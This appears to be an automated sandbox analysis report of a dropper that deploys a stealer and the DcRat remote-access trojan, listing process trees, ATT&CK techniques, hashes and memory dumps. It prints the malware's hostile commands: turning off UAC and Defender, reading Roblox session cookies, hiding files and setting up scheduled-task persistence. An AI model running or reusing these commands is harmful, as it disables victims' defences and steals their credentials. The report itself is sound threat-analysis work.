Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Surrogatereviewsession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Surrogatereviewsession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Surrogatereviewsession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe
"C:\Users\Admin\AppData\Local\Temp\8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Users\Admin\AppData\Local\Temp\stealqqgwrffs.exe
  "C:\Users\Admin\AppData\Local\Temp\stealqqgwrffs.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\stealqqgwrffs.exe"
    3⤵
    - Views/modifies file attributes
    PID:2720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\stealqqgwrffs.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1788
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1520
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2276
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1784
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\stealqqgwrffs.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1328
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2356
- C:\Users\Admin\AppData\Local\Temp\ratgergedrghi.exe
  "C:\Users\Admin\AppData\Local\Temp\ratgergedrghi.exe"
  2⤵
  - DcRat
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\providerWinsessionruntimehost\Xt9KI1krEJFJGvttvIkhdsOgzo3.vbe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\providerWinsessionruntimehost\g3CEdDrA4txDO2RaU.bat" "
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1108
    - - C:\providerWinsessionruntimehost\Surrogatereviewsession.exe
        
        "C:\providerWinsessionruntimehost\Surrogatereviewsession.exe"
        5⤵
        Modifies WinLogon for persistence
        UAC bypass
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Drops file in System32 directory
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:2936
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\zpX8udRTfq.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2868
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:2684
        
        C:\providerWinsessionruntimehost\conhost.exe
        
        "C:\providerWinsessionruntimehost\conhost.exe"
        7⤵
        UAC bypass
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        System policy modification
        
        PID:2004
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\providerWinsessionruntimehost\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\providerWinsessionruntimehost\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\providerWinsessionruntimehost\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "stealqqgwrffss" /sc MINUTE /mo 5 /tr "'C:\Windows\SysWOW64\lt-LT\stealqqgwrffs.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "stealqqgwrffs" /sc ONLOGON /tr "'C:\Windows\SysWOW64\lt-LT\stealqqgwrffs.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "stealqqgwrffss" /sc MINUTE /mo 10 /tr "'C:\Windows\SysWOW64\lt-LT\stealqqgwrffs.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "stealqqgwrffss" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\stealqqgwrffs.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "stealqqgwrffs" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\stealqqgwrffs.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "stealqqgwrffss" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\stealqqgwrffs.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\providerWinsessionruntimehost\smss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\providerWinsessionruntimehost\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\providerWinsessionruntimehost\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\providerWinsessionruntimehost\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\providerWinsessionruntimehost\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\providerWinsessionruntimehost\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 10 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\services.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\explorer.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files\Common Files\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\Program Files\Common Files\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ratgergedrghi.exe

Filesize
1.5MB

MD5
260fd8b292d7acf337beab707e84604c

SHA1
1133c94c57883f8c5624837d51fb88ef220fab06

SHA256
6d7b8c65737968c2ba34d5c64bf2427a49b7b4c74b3d558cf64814c97ba88cfb

SHA512
f83a804b7ac3918bbe76cea264f7451f5682da26b71cfa67e4e66a3281bc6c1ea478db02d16c80b01f7191e157e644fb966c56c9035e800c42d9f3539fa682b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\stealqqgwrffs.exe

Filesize
230KB

MD5
96ee12b0a9e8e1f0b0f85da1b482fdcb

SHA1
28711afb99a8397ebf5a6cb629e3e20465c0fdfa

SHA256
253b05b6848e8a312b0a622d62d370d6dedf59f24fb52fca803234977880649b

SHA512
f9f0012cc0eec4fe176338cc17ea8f870660ea5db8a33cc5000348e3bcdf4067ef7192dc3ecb3b7a5ff271d97085ba1c66eb5e170d24faf3daaee2b504c1e411

Download Submit
C:\Users\Admin\AppData\Local\Temp\zpX8udRTfq.bat

Filesize
209B

MD5
e231a421a5b52335695a0988584b24c8

SHA1
c870b193b18494e75175df24af5df13c8dfce138

SHA256
c0eaff70769d0e8a84222fd6e18c7816ebfb77d408f546900d71f1c9ca270672

SHA512
4c77499efaf9339433bb174b57e3225b07cb66a78bb72cbb84282b512ec0147bef252a8824c5d95e87d00a9115edaeb7100c8b8a9310e206164bd989477b2f5f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ebab82d611a9d441e4aece2410466e68

SHA1
a9f3716cbc37ced5a0c5c5ad09233a46f86fd579

SHA256
301a2627dbd3ebc36b6ff38712ce01ca5297b9ba9da5ae5e69823663768369f6

SHA512
fba691b91b2c823ca1a6ddc191008a6fb2312a8bc025150ffe6a07bf987747890195837ffd83c0d39e448e2744ab6daf4220ec65e87c1cf745e3fe4727da05a9

Download Submit
C:\providerWinsessionruntimehost\Xt9KI1krEJFJGvttvIkhdsOgzo3.vbe

Filesize
223B

MD5
88ef9c38e649b66c4641665e74fce531

SHA1
1603bd91a66807a8c7095d0cbc64c9d3679e6780

SHA256
65455609bf7611ec4bd6f9fbc08a0835612e15562665349f67ae92b0287243c6

SHA512
a3cd4848553acc3a685b10adf3b801f5ec78e9e706c7e0d6f89425dd7c64f4809dfa5001ee7aec60abeb8e23043608a351bc9ca52b687f6082f4880158465f16

Download Submit
C:\providerWinsessionruntimehost\g3CEdDrA4txDO2RaU.bat

Filesize
173B

MD5
2c8e46086b87c611b970c172dcb48bc1

SHA1
c489d490655a5af55c7a9b33cf69a460093fc1ec

SHA256
c8aaa713c91dfae8607a468ce53adb457685e5b89127ea6a36625058fadc00ab

SHA512
e7e23ae1690897518083cf5a5d2a53ef6c9e9ce8d520deff8d69b091305c0cfcd2a84ebf6ecccc5ef81f9de97b8a70796d243ee7b002b6cd63966bc1f4602377

Download Submit
\providerWinsessionruntimehost\Surrogatereviewsession.exe

Filesize
1.2MB

MD5
6227db1487700389df5e1bd5c29e16b6

SHA1
68795a61f653f7b63fa5e2ebbbe1bc97aed3242f

SHA256
359ede2f634418bc23101b414c0b35139c1dbacd9a6b5ff152f0733c4a9bd3d0

SHA512
2668b4a6d18b3ee6b2961b7eea6c1de669ec8df9b679f2a5fb3041d9f469eba92b4bd1467ea7b8ec7fc1e914a6d6cb008dbbe67bf67cc41b05d1f1979b56eead

Download Submit
memory/2004-117-0x0000000000130000-0x0000000000272000-memory.dmp

Filesize
1.3MB

Download
memory/2092-77-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2092-76-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2276-111-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2276-110-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2424-25-0x00000000002C0000-0x0000000000300000-memory.dmp

Filesize
256KB

Download
memory/2424-21-0x000007FEF57B3000-0x000007FEF57B4000-memory.dmp

Filesize
4KB

Download
memory/2648-37-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2648-36-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2936-56-0x00000000004A0000-0x00000000004A8000-memory.dmp

Filesize
32KB

Download
memory/2936-55-0x0000000000380000-0x000000000038C000-memory.dmp

Filesize
48KB

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memory/2936-53-0x0000000000360000-0x0000000000368000-memory.dmp

Filesize
32KB

Download
memory/2936-57-0x00000000004B0000-0x00000000004BC000-memory.dmp

Filesize
48KB

Download
memory/2936-59-0x00000000004C0000-0x00000000004CA000-memory.dmp

Filesize
40KB

Download
memory/2936-54-0x0000000000370000-0x000000000037A000-memory.dmp

Filesize
40KB

Download
memory/2936-52-0x0000000000340000-0x000000000035C000-memory.dmp

Filesize
112KB

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memory/2936-51-0x00000000001C0000-0x00000000001CE000-memory.dmp

Filesize
56KB

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memory/2936-43-0x0000000000990000-0x0000000000AD2000-memory.dmp

Filesize
1.3MB

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memory/2976-50-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2976-49-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

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